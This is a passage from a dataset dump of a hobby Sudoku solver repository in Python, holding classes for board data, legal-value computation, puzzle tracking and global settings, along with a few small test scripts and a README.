self.isEmptyCell(row=row, col=col):\n cells.append(CellDesc(row=row, col=col))\n \n return self.orderChoices(cells)\n \n # Assemble list of next move choices\n # sorted in ascending number of values per cell\n @staticmethod\n def _choices_cmp_val(elm):\n return elm.nval\n \n def orderChoices(self, cells):\n \"\"\"\n :cells: List of cells\n :returns: ref to sorted array of choices \n # to be ordered in increasing\n # number of values\n \"\"\" \n choices = [] # Populated with \n for cell in cells:\n col = cell.col\n row = cell.row\n if not self.isEmptyCell(row, col):\n continue\n \n vals = self.getLegalVals(row, col)\n nval = len(vals)\n choice = ValueChoice(vals=vals, row=row, col=col, nval=nval)\n choices.append(choice)\n choices_srt = sorted(choices, key=lambda x: x.nval)\n return choices_srt\n\n \n # Get data values in given column\n def getColVals(self, col=None, include_nones=None):\n \"\"\" Get values in given row\n :row: column number\n :include_nones: True - include Nones in list \n :Returns: values in row \n \"\"\"\n if col is None or col < 1 or col > self.nCol:\n raise SelectError(f\"bad col number {col}\")\n \n vals = []\n for ri in range(self.nRow):\n row = ri + 1\n val = self.getCellVal(row=row, col=col)\n if include_nones or not self.isEmpty(val):\n vals.append(val)\n return vals\n \n \n def getLegalVals(self, row=None, col=None): # Returns: array of legal values\n \"\"\" Get all values for given cell given other cells in data\n Returns array, possibly empty of legal cell values\n returned values are sorted in ascending order\n cks for defined row,col and out of bounds\n :row: row to consider\n :col: col to consider\n :returns: sorted candidate values\n \"\"\"\n if (row is None or row < 1 or row > self.nRow\n or col is None or col < 1\n or col > self.nCol): # Safety check\n return [] \n \n usedH = {} # Add to list as found\n # Allow EMPTY\n row_vals = self.getRowVals(row)\n for row_val in row_vals:\n usedH[row_val] = 1\n\n col_vals = self.getColVals(col)\n for col_val in col_vals:\n usedH[col_val] = 1\n\n sq3_vals = self.getSq3Vals(row, col)\n for sq3_val in sq3_vals:\n usedH[sq3_val] = 1\n\n \n legal_vals = []\n for n in range(1, self.nRow+1):\n if n not in usedH:\n legal_vals.append(n) \n \n if SlTrace.trace(\"any\"):\n lvstrs = list(map(str, sorted(legal_vals)))\n SlTrace.lg(f\"getLegals(row={row}, col={col} = \"\n + \", \".join(lvstrs))\n \n return sorted(legal_vals)\n\n def getNonEmptyCells(self):\n \"\"\" Return array of none empty cells\n \"\"\"\n nonemptys = []\n for ri in range(self.nRow):\n for ci in range(self.nCol):\n val = self.vals[ri][ci]\n if not self.isEmpty(val):\n row = ri+1\n col = ci+1\n nonemptys.append(CellDesc(row=row, col=col, val=val))\n return nonemptys\n\n def getRowVals(self, row=None, include_nones=None): # Returns: row values\n \"\"\" Get values in given row\n :row: column number\n :include_nones: True - include Nones in list \n :Returns: values in row \n \"\"\"\n if row is None or row < 1 or row > self.nRow:\n raise SelectError(f\"bad row number :{row}\") \n \n vals = []\n for ci in range(self.nCol):\n col = ci + 1\n val = self.getCellVal(row=row, col=col)\n if include_nones or not self.isEmpty(val):\n vals.append(val)\n return vals\n \n # \n def getSq3Vals(self, row=None, col=None):\n \"\"\" Get valuse in sub-by-sub square\n :row: current row\n :col: current col\n :Returns: list of values in current sub square\n \"\"\"\n if row is None or row < 1 or row > self.nRow:\n raise SelectError(f\"bad row {row}\")\n \n if col is None or col < 1 or col > self.nCol:\n raise SelectError(f\"bad col {col}\")\n \n sq3_vals = []\n first_row = 1 + self.nSubRow*int((row-1)/self.nSubRow)\n first_col = 1 + self.nSubCol*int((col-1)/self.nSubCol)\n for ir in range(self.nSubRow):\n for ic in range(self.nSubCol):\n r = first_row + ir\n c = first_col + ic\n val = self.getCellVal(r, c)\n if not self.isEmpty(val): # Assumes no duplicates\n sq3_vals.append(val)\n\n \n if SlTrace.trace(\"any\"):\n sq3_vals_strs = list(map(str, sq3_vals))\n SlTrace.lg(f\"getSq3Vals(row={row}, col={col}) = \"\n + \", \".join(sq3_vals_strs)) \n return sq3_vals\n \n def isValid(self):\n \"\"\" Check for valid arrangement\n \"\"\"\n for ir in range(self.nRow): # Check rows for duplicates\n row = ir + 1\n vals = {}\n for ic in range(self.nCol):\n col = ic + 1\n val = self.getCellVal(row=row, col=col)\n if not self.isEmpty(val):\n if val in vals:\n SlTrace.lg(f\"doing row {row} at col={col} val={val} vals={vals} invalid\")\n SlTrace.lg(f\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\")\n return False\n vals[val] = val\n \n for ic in range(self.nCol): # Check cols for duplicates\n col = ic + 1\n vals = {}\n for ir in range(self.nRow):\n row = ir + 1\n val = self.getCellVal(row=row, col=col)\n if not self.isEmpty(val):\n if val in vals:\n SlTrace.lg(f\"at row={row} doing col={col} val={val} vals={vals} invalid\")\n SlTrace.lg(f\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\")\n return False\n vals[val] = val\n return True \n" }, { "alpha_fraction": 0.6504854559898376, "alphanum_fraction": 0.6504854559898376, "avg_line_length": 14.833333015441895, "blob_id": "7d07808dda05ea16724058b6bcc42c1c03a394fb", "content_id": "e163ec5ddb1f2bfe1a1d23353b347e298f1e843d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 103, "license_type": "no_license", "max_line_length": 23, "num_lines": 6, "path": "/time_example.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "import timeit\r\n\r\nstart = timeit.timeit()\r\nprint(\"hello\")\r\nend = timeit.timeit()\r\nprint(end - start)\r\n\r\n" }, { "alpha_fraction": 0.5166305899620056, "alphanum_fraction": 0.5206640362739563, "avg_line_length": 32.02316665649414, "blob_id": "0c5adf462b64b7f46dd57bb2611bf0940e6bd890", "content_id": "46a12d7693979678ce7e690a412d8957f250e81a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 17107, "license_type": "no_license", "max_line_length": 107, "num_lines": 518, "path": "/src/SudokuData.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#SudokuData.py\n# Adapted from SudokuData.pm\n#################\n## sudokuData ##\n#################\nimport re\nimport copy\nfrom random import randint\n\nfrom select_trace import SlTrace\nfrom select_error import SelectError\nfrom sudoku_vals import SudokuVals, CellDesc\n\n \n \nbase=None\n\n\n\n\"\"\"\nMarker difinition\n\"\"\"\nclass CellMark:\n def __init__(self, row=None, col=None, id=None, rc=None,\n tag=None, backColor=None, boundColor=None,\n boundWidth=None, boundWidget=None):\n if row is None:\n row = rc.row\n col = rc.col\n self.row = row\n self.col = col\n self.id = id\n self.rc = rc,\n self.tag = tag,\n self.backColor = backColor\n self.boundWidth = boundWidth\n self.boundWidget = boundWidget\n \n\n \nclass SudokuData:\n \n @classmethod\n def data2vals(cls, data):\n \"\"\" Convert to SudokuVals from SukokuData or subclasses\n :data: SudokuData, SudokuPly, SudokuPuzzle\n \"\"\"\n dv = SudokuVals(rows=data.nRow, grows=data.nSubRow,\n cols=data.nCol, gcols=data.nSubCol)\n for nr in range(1, data.nRow+1):\n for nc in range(1, data.nCol+1):\n val = data.getCellVal(row=nr, col=nc)\n if val is not None:\n dv.setCellVal(row=nr, col=nc, val=val)\n return dv \n \n @classmethod\n def vals2data(cls, sval):\n \"\"\" Convert SudokuVals to SukokuData\n :sval: SudokuVals\n :Returns: SudokuData\n \"\"\"\n sd = SudokuData(rows=sval.nRow, grows=sval.nSubRow,\n cols=sval.nCol, gcols=sval.nSubCol)\n for nr in range(1, sval.nRow+1):\n for nc in range(1, sval.nCol+1):\n val = sval.getCellVal(row=nr, col=nc)\n if val is not None:\n sd.setCellVal(row=nr, col=nc, val=val)\n return sd \n\n def __init__(self, rows=None, grows=None, cols=None, gcols=None, \n base = None, puzzle=None):\n \"\"\"\n :rows: number of rows down the whole board\n :grows: number of row cells in sub square\n :cols: number of cols accross the whole board\n :gcols: number of col cells\n :base: basis for this data\n :puzzle: Base puzzle, if known\n \"\"\"\n if puzzle is None:\n if base is not None:\n puzzle = base.puzzle\n self.puzzle = puzzle # Mark main puzzle\n if rows is None:\n if base is None:\n raise SelectError(\"Neither base nor rows was specified\")\n \n rows = base.nRow\n self.nRow = rows\n if grows is None:\n if base is None:\n raise SelectError(\"Neither base nor grows was specified\")\n \n grows = base.nSubRow\n self.nSubRow = grows\n if cols is None:\n if base is None:\n raise SelectError(\"Neither base nor cols was specified\")\n \n cols = base.nCol\n self.nCol = cols\n if gcols is None:\n if base is None:\n raise SelectError(\"Neither base nor gcols was specified\")\n \n gcols = base.nSubCol\n self.nSubCol = gcols\n\n self.curRow = self.nRow\n self.curCol = self.nCol # Most recently filled\n self.markH = {} # Marked cells\n self.cells = None # Array of cell data\n if base is not None:\n self.vals = self.data2vals(base)\n else:\n self.vals = SudokuVals(rows=rows, grows=grows, cols=cols, gcols=gcols)\n \n def advanceCell(self): # Returns CellDesc array (row,col)\n \"\"\" Advance to next data cell\n Current and only pattern is row1 col1->nCol, row2 col1->nCol, ...\n wrapping at nRow,nCol to row1,col1\n curRow, curCol are updated\n :returns: CellDesc\n \"\"\"\n row = self.curRow\n col = self.curCol\n col += 1\n if col > self.nCol:\n row += 1\n col = 1\n if row > self.nRow:\n row = 1 \n self.curRow = row\n self.curCol = col\n return CellDesc(row=row, col=col)\n\n # Clear data to empty\n def clear(self):\n self.vals.clear()\n \n \n # Clear sell\n def clearCell(self, row=None, col=None):\n self.vals.clearCell(row=row, col=col)\n\n def copy(self): # Returns: deep copy\n copy = SudokuData(base=self)\n return copy\n\n \n # Set / Get current cell\n def curCell(self, cd=None, row=None, col=None): # Returns: r_c ref to cell structure\n if cd is not None and (row is not None or col is not None):\n raise SelectError(\"curCell: cd and row,col specified - allow only cd or row,col\")\n \n if cd is None and row is None and col is None:\n return CellDesc(row=self.curRow, col=self.curCol)\n \n if cd is not None:\n self.curRow = cd.row\n self.curCol = cd.col\n return cd\n \n self.curRow = row\n self.curCol = col\n return CellDesc(row=self.curRow, col=self.curCol)\n \n def destroy(self):\n \"\"\" Destroy data\n \"\"\"\n pass # Nothing for now\n \n # Simple display of data area\n # For diagnostic purposes\n def display(self, msg=None):\n if msg is None:\n msg = \"SudokuData\"\n self.vals.display(msg=msg)\n\n def setCell(self, row=None, col=None, val=None):\n \"\"\" Set cell value\n :returns: updated cell\n \"\"\"\n ret = self.vals.setCell(row=row, col=col, val=val)\n if not self.isValid():\n SlTrace.lg(f\"setCell: row={row}, col={col}, val={val} not valid\")\n self.display(\"Invalid arrangement\")\n SlTrace.lg(\"by rows\")\n for ri in range(self.nRow):\n nr = ri + 1\n SlTrace.lg(f\"row:{nr} vals:{self.getRowVals(nr, include_nones=True)}\")\n SlTrace.lg(\"by columns\")\n for ci in range(self.nCol):\n nc = ci + 1\n SlTrace.lg(f\"col:{nc} vals:{self.getColVals(nc, include_nones=True)}\")\n self.display(\"After listing\")\n raise SelectError(\"Invalid arrangement\")\n \n return ret\n \n def isValid(self):\n \"\"\" Check for valid arrangement\n \"\"\"\n return self.vals.isValid()\n \n def setData(self, r_ds=None):\n \"\"\"Set data\n clear if no data array\n :r_ds: array\n \"\"\"\n if self.cells is not None: # Clear\n del self.cells \n self.cells = [[CellDesc(row=ri+1, col=ci+1) for ci in range(self.nCol)] for ri in range(self.nRow)]\n if r_ds is not None:\n for ic in range(self.nRow):\n for ir in range(self.nCol):\n clds = r_ds[ir][ic]\n self.cells[ir][ic] = clds.copy()\n\n def copy_cells(self):\n \"\"\" Copy cells\n \"\"\"\n new_cells = copy.deepcopy(self.cells)\n return new_cells\n \n \n # Deep copy of our data\n # copies not refs to all contained data\n def deepCopy(self): # Returns: blessed deep copy of our data\n copy = SudokuData()\n r_c_cells = copy.cells = []\n r_cells = self.cells\n for ri in range(self.nRow):\n for ci in range(self.nCol):\n r_c_cells[ri][ci] = r_cells[ri][ci]\n copy.curRow = self.curRow\n copy.curCol =self.curCol\n r_c_markH = {}\n r_markH = self.markH\n for key in r_markH:\n r_c_markH[key] = r_markH[key]\n return copy\n \n \n def getLegalVals(self, row=None, col=None): # Returns: array of legal values\n \"\"\" Get all values for given cell given other cells in data\n Returns array, possibly empty of legal cell values\n returned values are sorted in ascending order\n cks for defined row,col and out of bounds\n :row: row to consider\n :col: col to consider\n :returns: sorted candidate values\n \"\"\"\n return self.vals.getLegalVals(row=row, col=col)\n \n \n \n # Get next empty cell\n # continues, starting with (row,col) after most recently filled\n # Returns reference to cell descriptor {row=n, col=n) if one\n # None if no empty cell found\n #\n def getNextEmpty(self, cd=None, row=None, col=None): # Returns: cell descriptor, else None\n if cd is not None or row is not None:\n self.curCell(cd=cd, row=row, col=col)\n cell = self.curCell()\n row = cell.row\n col = cell.col\n if (self.isEmptyCell(cell.row, cell.col)):\n self.advanceCell()\n if self.isEmptyCell(cell.row, cell.col):\n return cell \n\n ncell = self.nRow*self.nCol\n ntry = 0\n if SlTrace.trace(\"empty\"):\n SlTrace.lg(\"getNextEmpty()\")\n\n while True:\n cd = self.advanceCell()\n row,col = cd.row, cd.col\n if SlTrace.trace(\"empty\"):\n SlTrace.lg(f\" getNextEmpty check row={row}, col={col}\")\n ntry += 1\n val = self.getCellVal(row, col)\n if self.isEmpty(val):\n SlTrace.lg(f\"getNextEmpty - got row={row}, col={col}\", \"empty\")\n return CellDesc(row=row, col=col) # Return empty cell descriptor\n\n if ntry >= ncell:\n if SlTrace.trace(\"empty\"):\n SlTrace.lg(\"getNextEmpty - NONE FOUND\")\n return None\n\n def getNumEmpty(self):\n \"\"\" Return number of empty cells\n \"\"\"\n return self.vals.getNumEmpty()\n\n \n # Select legal/reasonable starting values for list of cells\n def pickStartValues(self, startList=None,\n clear=True ): # Returns: True iff possible\n a_start_list = startList\n if clear:\n self.clear() # Start with cleared cells\n for r_c in a_start_list:\n row = r_c.row\n if row is None:\n raise SelectError(\"pickStartValues: bad row\")\n col = r_c.col\n legals = self.getLegalVals(row, col)\n if legals == 0:\n return False\n\n self.setCellVal(row, col, legals[0])\n return True\n \n \n # Check if empty\n # any non-zero numeric is filled \n def isEmpty(self, val=None): # Returns: True iff empty value\n if val is None or (isinstance(val, str) and val == \"0\") or val == 0:\n return True\n \n return False\n \n # Is cell empty\n def isEmptyCell(self, row, col): # Returns: True iff empty cell\n cell = self.getCell(row, col)\n val = cell if cell is None else cell.val\n SlTrace.lg(f\"isEmpty(row={row} col={col}) val:{val}\", \"empty\")\n if cell is None:\n return True # Empty\n \n return self.isEmpty(cell.val)\n \n #\n def getSq3Vals(self, row=None, col=None):\n \"\"\" Get valuse in sub-by-sub square\n :Returns: col values\n \"\"\"\n sq3_vals = self.vals.getSq3Vals(self, row=row, col=col)\n return sq3_vals\n\n def getColVals(self, col=None, include_nones=None):\n \"\"\" Get values in given row\n :row: column number\n :include_nones: True - include Nones in list \n :Returns: values in row \n \"\"\"\n return self.vals.getColVals(col=col, include_nones=include_nones)\n\n def getRowVals(self, row=None, include_nones=None): # Returns: row values\n \"\"\" Get values in given row\n :row: column number\n :include_nones: True - include Nones in list \n :Returns: values in row \n \"\"\"\n return self.vals.getRowVals(row=row, include_nones=include_nones)\n\n \n def setCellVal(self, row=None, col=None, val=None, quiet=False):\n \"\"\" set Sudoku cell with value - may be EMPTY\n :row: 1-nRow\n :col: 1-nCol\n :val: EMPTY, 1-9, marking value\n :quiet: 1 -> no trace, no cell change\n \"\"\"\n self.vals.setCellVal(row=row, col=col, val=val)\n \n if not quiet: # quiet -> move invisibly also\n SlTrace.lg(f\"setCellVal(row:{row}, col:{col}, val:{val})\", \"any\")\n \n self.curRow = row\n self.curCol = col\n return val\n\n \n \n #\n def startCells(self, nFilled=None, symRules=None, ):\n \"\"\" Find legal list of cells\n Sets data\n To provide atleast 2-way symitry with an\n odd lengthed board, one\n adds an \"odd\" cell to the board center\n cell\n :returns: list of CellDesc\n \"\"\"\n if nFilled is None:\n raise SelectError(\"startList nFilled is missing\")\n if symRules is None:\n symRules = \"c\"\n symRules = symRules.lower()\n sym_c = True if re.search(r'c', symRules) else False\n sym_x = True if re.search(r'x', symRules) else False\n sym_y = True if re.search(r'y', symRules) else False\n nf = 0 # Number filled\n start_cells = [] # List of start cells in order\n if nFilled % 2!= 0 and (self.nRow % 2 == 1 or self.nCol % 2 == 1):\n crow = int((self.nRow+1)/2)\n ccol = int((self.nCol+1)/2)\n self.setCellVal(crow, ccol, 1)\n start_cells.append(CellDesc(row=crow, col=ccol))\n nf += 1\n\n \n while nf < nFilled:\n row = randint(1,self.nRow)\n col = randint(1, self.nCol)\n r_c = self.getNextEmpty(row=row, col=col)\n if r_c is None:\n break\n row = r_c.row # Update iff necessary\n col = r_c.col\n if sym_c:\n srow, scol = self.symCell(symRule='c',\n row=row,\n col=col)\n if self.isEmptyCell(srow, scol):\n self.setCellVal(srow, scol, 1)\n start_cells.append(CellDesc(row=srow, col=scol))\n nf += 1\n # Add original if not there\n if (self.isEmptyCell(row, row)):\n self.setCellVal(row, col, 1)\n start_cells.append(CellDesc(row=row,\n col=col))\n nf += 1\n\n return start_cells\n\n \n # \n def getCell(self, row=None, col=None, quiet = False):\n \"\"\" get Sudoku cell may be EMPTY\n :row: # 1-nRow\n :col: # 1-nCol\n :quiet:, # supress trace and cell movement default: False\n :returns: cell\n \"\"\"\n val = self.vals.getCellVal(row=row, col=col)\n \n return CellDesc(row=row, col=col, val=val)\n \n \n # Get data cell\n def getCellVal(self, row=None, col=None):\n return self.vals.getCellVal(row=row, col=col)\n \n # Assemble list of next move choices\n # sorted in ascending number of values per cell\n def getChoices(self): # Returns: ref to sorted array of choices\n return self.vals.getChoices()\n \n def orderChoices(self, cells):\n \"\"\"\n :cells: List of cells\n :returns: ref to sorted array of choices \n # to be ordered in increasing\n # number of values\n \"\"\"\n return self.vals.orderChoices(cells) \n \n # Get list of non-empty cells\n def getNonEmptyCells(self): # Returns: array of {row=, col=}\n return self.vals.getNonEmptyCells()\n \n \n # Find symetric cell\n def symCell(self, row=None, col=None, symRule=None): # Returns: CellDesc\n if symRule is None:\n symRule = \"c\"\n symRule = symRule.lower()\n srow = row # Symetric cell coord\n scol = col\n if re.search(r'x', symRule):\n scol = self.nCol-col+1\n elif re.search(r'y', symRule):\n srow = self.nRow-row+1\n elif re.search(r'c', symRule):\n srow = self.nRow-row+1\n scol = self.nCol-col+1\n return (srow, scol)\n\n \n \n # Remove one or all\n def unmarkCell(self, row, col):\n r_markh = self.markH\n if row is None:\n r_markh = {} # Unmark all\n else:\n rckey = f\"{row}:{col}\"\n if rckey in r_markh:\n del r_markh[rckey] # Clear\n \n self.markH = r_markh # Update stored settings\n\n \n \n # Mark cell\n # \n def markCell(self, row, col):\n r_markh = self.markH\n rckey = f\"{row}:{col}\"\n r_markh[rckey] = 1\n\n \n # Check if cell is marked\n def isMarked(self, row, col): # Returns: 1 if marked else 0\n r_markh = self.markH\n rckey = f\"{row}:{col}\"\n marked = not rckey in r_markh\n return marked\n\n" }, { "alpha_fraction": 0.5728098154067993, "alphanum_fraction": 0.5754468441009521, "avg_line_length": 37.034481048583984, "blob_id": "953564eb8564e6cb970755ef7386f1c75cf4abc5", "content_id": "c01584c5c19d92d000fc409cba9a5976b6bf38fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3413, "license_type": "no_license", "max_line_length": 110, "num_lines": 87, "path": "/sudoku_globals.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku_globals.py\r\n\"\"\" Program Globals\r\nWe might restucture the program to avoid this at a later date\r\nbut to push ahead with most of the structure intqct we have these global variables\r\n\"\"\"\r\nfrom select_trace import SlTrace\r\nfrom resource_group import ResourceGroup\r\nfrom select_control import SelectControl\r\n\r\ndef initialize_globals():\r\n global res_group\r\n global Display_time, Display_prev_time, DisplayRtn, Display_mw, Display_board\r\n global nRow, nSubRow, nCol, nSubCol, si, sbox_fr, sbox, sbox_row, sbox_col, sbox_legal_vals\r\n global o_data, o_board, Initial_data, bSize, sSize, nFirst, makePuzzle, makePuzzleSym\r\n global traceList, UsePuzzle\r\n global main_puzzle, puzzle\r\n global top_bd_fr\r\n global solve_start\r\n global running\r\n global cF, vC # variable control\r\n global update_time\r\n global run_after_load\r\n \r\n running = True # Process / Display is running\r\n update_time = None\r\n res_group = ResourceGroup()\r\n Display_time = None\r\n Display_prev_time = None # Previous display time\r\n DisplayRtn = None\r\n Display_mw = None\r\n Display_board = None\r\n puzzle = main_puzzle = None\r\n cF = vC = None\r\n nRow = 9 # number of rows down the whole board\r\n nSubRow = 3 # number of row cells in sub square\r\n nCol = 9 # number of cols accross the whole board\r\n nSubCol = 3 # number of col cells\r\n \r\n si = 0 # Selection index\r\n sbox_fr = None # Set value frame\r\n sbox = None # selection box\r\n sbox_row = None # selected cell row\r\n sbox_col = None\r\n sbox_legal_vals = [] # legal vals in selection box \r\n \r\n o_data = None # Primary data\r\n o_board = None # Primary board\r\n Initial_data = None # Initial data values\r\n \r\n bSize = 3 # Main Bd size inches\r\n sSize = 2 # Solution Bd size\r\n nFirst = 5 # first n solutions\r\n makePuzzle = None # If defined, generate puzzle with this many cells filled\r\n makePuzzleSym = \"c\" # Puzzle symetry pref for initial settings\r\n traceList = \"\"\r\n top_bd_fr = None # top display frame\r\n solve_start = 0\r\n run_after_load = False\r\n\r\ndef update_control_variables():\r\n \"\"\" Update control variables\r\n For variables whose values we desire real-time changes\r\n For now, must be customized, changed as required\r\n \"\"\"\r\n global Display_time\r\n global run_after_load\r\n \r\n cF = SelectControl() # Reference to singleton\r\n Display_time = cF.get_val(\"Display_time\")\r\n run_after_load = cF.get_val(\"run_after_load\")\r\n SlTrace.lg(\"update_control_variables\")\r\n \r\nif __name__ == \"__main__\":\r\n tg = True\r\n ###tg = False\r\n if tg:\r\n import sudoku_globals as g\r\n g.initialize_globals()\r\n print(f\"nRow={g.nRow} nCol={g.nCol}\")\r\n print(f\"Display_mw={g.Display_mw}\")\r\n print(f\"o_data={g.o_data}\")\r\n else:\r\n from sudoku_globals import initialize_globals, nRow, nCol, Display_mw, o_data\r\n initialize_globals()\r\n print(f\"nRow={nRow} nCol={nCol}\")\r\n print(f\"Display_mw={Display_mw}\")\r\n print(f\"o_data={o_data}\")\r\n\r\n \r\n \r\n " }, { "alpha_fraction": 0.8032786846160889, "alphanum_fraction": 0.8032786846160889, "avg_line_length": 29.5, "blob_id": "6318300abb5a2060bd0a4d3801d0055127b2f15f", "content_id": "0e174ca0d8f8dfcf5edb38905bd483ec5d56f865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 122, "license_type": "no_license", "max_line_length": 42, "num_lines": 4, "path": "/README.md", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# sudoku\nSudoku game solver and, one day, generator\nInitially ported from Perl code.\nRequires resource_lib project files.\n" }, { "alpha_fraction": 0.545218288898468, "alphanum_fraction": 0.5483368039131165, "avg_line_length": 30.540983200073242, "blob_id": "99da84cb23efa07260f639f658f6f6febad27056", "content_id": "8b53fd4a0731d776e1d4fdc6fbc2063d71a4ffc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1924, "license_type": "no_license", "max_line_length": 101, "num_lines": 61, "path": "/puzzle/SudokuPuzzle.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#SudokuPuzzle.py\n# Adapted from SudokuData.py\n#################\n## sudokuPuzzle ##\n#################\n\nfrom select_error import SelectError\nfrom SudokuData import SudokuData\n\nclass SudokuPuzzle(SudokuData):\n \n\n def __init__(self, desc=None, file_name=None, **kwargs):\n \"\"\"\n :description: Description of puzzle\n :file_name: file name, if known\n \"\"\"\n self.file_name=file_name\n if desc is None:\n \"Basic Sudoku Puzzle\"\n super(SudokuPuzzle, self).__init__(**kwargs)\n\n def add_cell(self, row=None, col=None, val=None):\n \"\"\" Add data square to puzzle \n :row: row number\n :col: column number\n :val: square number\n \"\"\"\n if row is None or col is None or val is None:\n raise SelectError(f\" row, col and val must be specified row={row}, col={col}, val={val}\")\n \n self.setCell(row=row, col=col, val=val)\n \n def file2puzzle(self, file=None):\n \"\"\" convert file name/object to puzzle\n :file: name if string, else open file stream\n :returns: puzzle, None if failure\n \"\"\"\n if isinstance(file, str):\n self.file_name = file\n file = open(file)\n puzzle_str = file.splitlines()\n puzzle = self.str2puzzle(puzzle_str)\n return puzzle\n \n def copy(self):\n \"\"\" Copy puzzle to insulate changes in data\n :Returns: copy of data with new objects for cells\n \"\"\"\n rows = self.nRow\n grows = self.nSubRow\n cols = self.nCol\n gcols = self.nSubCol\n cp = SudokuPuzzle(rows=rows, grows=grows,\n cols=cols, gcols=gcols)\n for nr in range(1, rows+1):\n for nc in range(1, cols+1):\n val = self.getCellVal(row=nr, col=nc)\n if val is not None:\n cp.add_cell(row=nr, col=nc, val=val)\n return cp\n" }, { "alpha_fraction": 0.5166666507720947, "alphanum_fraction": 0.550000011920929, "avg_line_length": 29.6842098236084, "blob_id": "49cc2482d42f8d7418c5d5f2116e9f137a4d9b00", "content_id": "6bfdc6cc273fbe4d32d3093fad862f88f748b931", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 600, "license_type": "no_license", "max_line_length": 74, "num_lines": 19, "path": "/src/test_kwargs.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# test_kwargs.py\r\ndef fun1a(**kwargs):\r\n for key, val in kwargs.items():\r\n print(f\"fun1a: {key}={val}\")\r\n \r\ndef fun1(**kwargs):\r\n print(f\"fun1: **kwargs({kwargs}\")\r\n for key, val in kwargs.items():\r\n print(f\"fun1: {key}={val}\")\r\n print(\"fun1 calling fun1a(**kwargs)\")\r\n fun1a(**kwargs)\r\n \r\nkargs = {\"key_1\": \"key_1_val\", \"key_2\": \"key_2_val\", \"key_3\": \"key_3_val\"}\r\nprint(\"\\ncall:\", 'fun1(a=\"a_arg\", b=\"b_arg\", c=\"c_arg\")')\r\nfun1(a=\"a_arg\", b=\"b_arg\", c=\"c_arg\")\r\nprint(\"\\ncall:fun1(**kargs)\")\r\nfun1(**kargs)\r\nprint(\"\\ncall:fun1(kwargs=kargs)\")\r\nfun1(kwargs=kargs)" }, { "alpha_fraction": 0.7146666646003723, "alphanum_fraction": 0.7146666646003723, "avg_line_length": 21.4375, "blob_id": "f6307588c488edd228308bbb6c5b5b5864bea0d7", "content_id": "2c353a4f7bd64ec27cb9133817625390d52cf2c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 375, "license_type": "no_license", "max_line_length": 59, "num_lines": 16, "path": "/src/test_isinstance.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "# test_isinstance.py\r\n\"\"\"\r\nNot seeing SudokuData\r\n\"\"\"\r\nfrom SudokuBoard import SudokuBoard\r\nfrom SudokuData import SudokuData\r\nfrom SudokuPly import SudokuPly\r\n\r\nsb = SudokuBoard()\r\nsd = SudokuData()\r\nsp = SudokuPly()\r\n\r\nif isinstance(sd, SudokuData):\r\n print(f\"Found sd{sd} to be SudokuData instance\")\r\nelse:\r\n print(f\"Did not find sd{sd} to be SudokuData instance\")\r\n" }, { "alpha_fraction": 0.534622848033905, "alphanum_fraction": 0.5375241637229919, "avg_line_length": 34.655174255371094, "blob_id": "1426789d99afc9da57fa32bdf3b4032613f5c95f", "content_id": "e9421976f2fb4d36a243d4a67658508b3fad2aeb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5170, "license_type": "no_license", "max_line_length": 118, "num_lines": 145, "path": "/src/SudokuPuzzle.py", "repo_name": "raysmith619/sudoku", "src_encoding": "UTF-8", "text": "#SudokuPuzzle.py\n# Adapted from SudokuData.py\n#################\n## sudokuPuzzle ##\n#################\nimport time\nfrom select_trace import SlTrace\nfrom select_error import SelectError\nfrom SudokuData import SudokuData\n\nclass SudokuPuzzle(SudokuData):\n \n\n def __init__(self, desc=None, file_name=None,\n nmove=0,\n nbackup=0,\n **kwargs):\n \"\"\"\n :description: Description of puzzle\n :file_name: file name, if known\n :nmove: cumulative number of moves (new square values)\n :nbackup: cumulative number of backups (square value retries)\n :kwargs: parameters passed to SudokuData base class\n \"\"\"\n if desc is None:\n desc = \"Basic Sudoku Puzzle\"\n self.nmove = nmove\n self.nbackup = nbackup\n self.file_name=file_name\n self.set_start_time()\n\n self.solve_start = time.time()\n self.dur = 0\n self.ply = None\n self.prev_ply = None\n self.depth = 0\n self.max_depth = 0 # Maximum ply depth reached so far\n self.nempty = 0\n self.min_nempty = None\n self.max_nempty = None\n super().__init__(**kwargs)\n\n def set_start_time(self):\n \"\"\" set/reset solve start time\n \"\"\"\n self.solve_start = time.time()\n\n def add_cell(self, row=None, col=None, val=None):\n \"\"\" Add data square to puzzle \n :row: row number\n :col: column number\n :val: square number\n \"\"\"\n if row is None or col is None or val is None:\n raise SelectError(f\" row, col and val must be specified row={row}, col={col}, val={val}\")\n \n self.setCell(row=row, col=col, val=val)\n \n def file2puzzle(self, file=None):\n \"\"\" convert file name/object to puzzle\n :file: name if string, else open file stream\n :returns: puzzle, None if failure\n \"\"\"\n if isinstance(file, str):\n self.file_name = file\n file = open(file)\n puzzle_str = file.splitlines()\n puzzle = self.str2puzzle(puzzle_str)\n return puzzle\n\n def track_move(self, ply=None):\n \"\"\" Track solution moves\n Check for backup here, comparing with ply.depth\n against prev_ply.depth\n :ply: SutokuPly, if known\n \"\"\"\n self.dur = time.time() - self.solve_start\n self.prev_ply = self.ply\n if self.prev_ply is None:\n self.prev_ply = ply\n if ply is not None:\n self.nempty = ply.getNumEmpty()\n if self.min_nempty is None or self.nempty < self.min_nempty:\n self.min_nempty = self.nempty\n if self.max_nempty is None or self.nempty > self.max_nempty:\n self.max_nempty = self.nempty\n if ply.depth < self.depth:\n self.nbackup += 1\n 